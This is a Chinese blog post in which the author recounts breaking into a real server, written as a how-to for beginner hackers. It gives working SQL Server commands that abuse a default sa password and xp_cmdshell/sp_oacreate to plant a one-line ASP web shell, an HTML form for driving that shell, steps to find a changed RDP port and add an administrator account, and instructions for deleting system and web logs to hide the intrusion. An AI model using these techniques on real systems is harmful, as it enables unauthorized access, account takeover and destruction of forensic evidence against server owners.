我的一次入侵總結

穩萊

我的一次入侵總結

應sagi的要求,我寫了一篇很適合初學者的文章。這是我以前總結的自己一次入侵過程,整個過程很簡單,入侵結束後我就把過程給記錄了下來。今天憑著記憶給整理了一下,適合初學者,希望能給菜鳥朋友一點幫助。

第一步:掃描網站
找了IP段,可能是廣東那邊的,用XSCAN掃描,選擇的是常規埠。掃描結束,發現一個IP地址上SQLSERVER的SA帳戶密碼也是SA。發現入侵點,掃描結束。

第二步:
用工具Sqlexec連接(如果大家沒這個工具,可以和我要,QQ:56111981),發現連接成功,不能執行命令。看來管理員把Xp_cmdshell給刪了,換用SQLSERVER查詢分析器登陸,這個自己要裝客戶端。添入IP和用戶密碼,登陸成功。登陸后先看看版本信息:
select @@version
發現是SQLSERVER 760 WIN2000 SP4
為什么要查看版本信息?因為老版本的SQLSERVER存儲過程功能不全,我在入侵學校的一臺機子時非常郁悶,后來用SQLSERVER探測器才發現居然是6點幾的版本。

試圖恢復xp_cmdshell,如下:
exec sp_addextendeproc xp_cmdshell,@dllname='xplog70.dll'
返回找不到xplog70.dll的信息,看來管理員還是知道這個危害很大,恢復失敗。

這時就要變換思路,想其他方法。
先不管別的,得到WEB路徑再說,因為機子開了WEB服務。
create table [tbltemp] ([strpath][char](255));DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into tbltemp(strpath) values(@result);

運行后,再
select * from tbltemp;
得到路徑是 c:\inetpub\wwwroot (其實可以猜出來)
之后刪除自己建的表
 drop table tbltemp;
上面都是在SQLSERVER分析器中運行,如果是注入,這樣是不行的,因為回顯方法不一樣,大家要根據具體情況寫查詢語句,關鍵是思路。

第三步 寫入一個小型ASP SHELL

declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'cmd.exe /c echo "<%execute request("aspcode") %>" >c:\inetpub\wwwroot\shell.asp'
如何利用,我當時使用了網頁連接,如下:
————————————————————————————————————
<form action="http://218.*.*.*/shell.asp" method="post">
ASP′代碼:<textarea name="aspcode" cols=200 rows=9>
   szCMD="dir" '這里輸入要執行的命令,比如可以改成 szCMD="net user"
   Set oScript = Server.CreateObject("WSCRIPT.SHELL")
   Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
   Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

     szTempFile = "C:\" & oFileSys.GetTempName( )
     Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
     Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
     If (IsObject(oFile)) Then Response.Write Server.HTMLEncode(oFile.ReadAll)
     oFile.Close
     Call oFileSys.DeleteFile(szTempFile, True)
</textarea>
<br>
<input type=submit name=submit value="ok">
</form>
——————————————————————————————————————

把上面的保存成 .htm文件就可以了。
上面的dir是要執行的命令,可以換成其他的。
這里因為ASP權限問題,能執行的命令很少,常用的命令比如
dir copy del
"net user"(不能執行"net user /add"權限不夠)
"net start" (只能查看信息,不能啟動停止服務)
"net view"
ipconfig
set
"netstat -an"
ver
這些都是刺探信息用的,或者查看文本文件,目錄結構等信息。

第四步 進入終端

本來到這我就不想入侵了,想著開終端還得重起,有的機子搞不好設個BIOS密碼,還得等管理員登陸后才行,時間太長。
可是運行到 net start 時發現開了 Terminal Service。
可是3389端口卻沒開,這只有一種可能,該機已被入侵而且默認端口被改了。
為什么這么說。如果這個終端服務是管理員開的他沒必要改這個端口,后來證實了我的猜測。

既然他把終端打開了,那就進去看看。
怎么知道改的端口是哪個呢?
很簡單,運行
regedit /e filename.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
然后type filename.reg
里面有個PORTNUMBER,是十六進制的,用MS自帶的計算器轉換一下就可以了,這個網站的是0000 0EA4,10進制就是3658
這里有個問題,就是regedit /e 命令好象不能用ASP木馬執行,反正我沒成功,我也沒測試原因。
我用SQLSERVER成功執行了。
declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'cmd.exe /c regedit /e filename.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" '
好了,到這就剩添用戶了,再運行
declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user xiaohua 123456 /add'
declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'cmd.exe /c net localgroup administrator xiaohua /add'

第五步 清理戰場

用登陸器登陸終端成功。登陸終端后要掩飾蹤跡,首先刪日志在計算機管理那里三個系統日志。
再者WEB日志也得刪,WEB日志記錄在%windir%\system32\logfiles\w3svc1目錄下,文件按日期分布,把入侵那天的刪了就行了,
刪之前先停掉服務net stop w3svc
刪日志后開啟服務net start w3svc

日志刪了,其他就是添后門,隱藏帳戶了,文章很多就不寫了。

這時可以查看一下管理員在不在,CMD下運行
query user
發現只有自己登陸著。
再看一下管理員登陸日期 ,運行
net user administrator
發現管理員1個月前登陸的,這種主機做肉雞真是得天獨厚,當然我沒這么做.
之后運行logoff注銷登陸,整個入侵全部結束。其實后來我再也沒進過這臺機器。

總結
文章沒什么技術性,只是常規入侵方法的一種總結,是為了給那些初入黑道朋友的一點提示和入侵的大體思路。
 

 給當前日誌評分:
Loading Vote
正在讀取評分資料...


文章來自: Tank部落格
引用通告: 查看所有引用 | 我要引用此文章
Tags: 入侵
相關日誌:

評論: 0 | 引用: 0 | 查看次數: -
發表評論
暱 稱:
密 碼: 遊客發言不需要密碼.
內 容:
驗證碼: 驗證碼
選 項:
雖然發表評論不用註冊,但是為了保護您的發言權,建議您註冊帳號.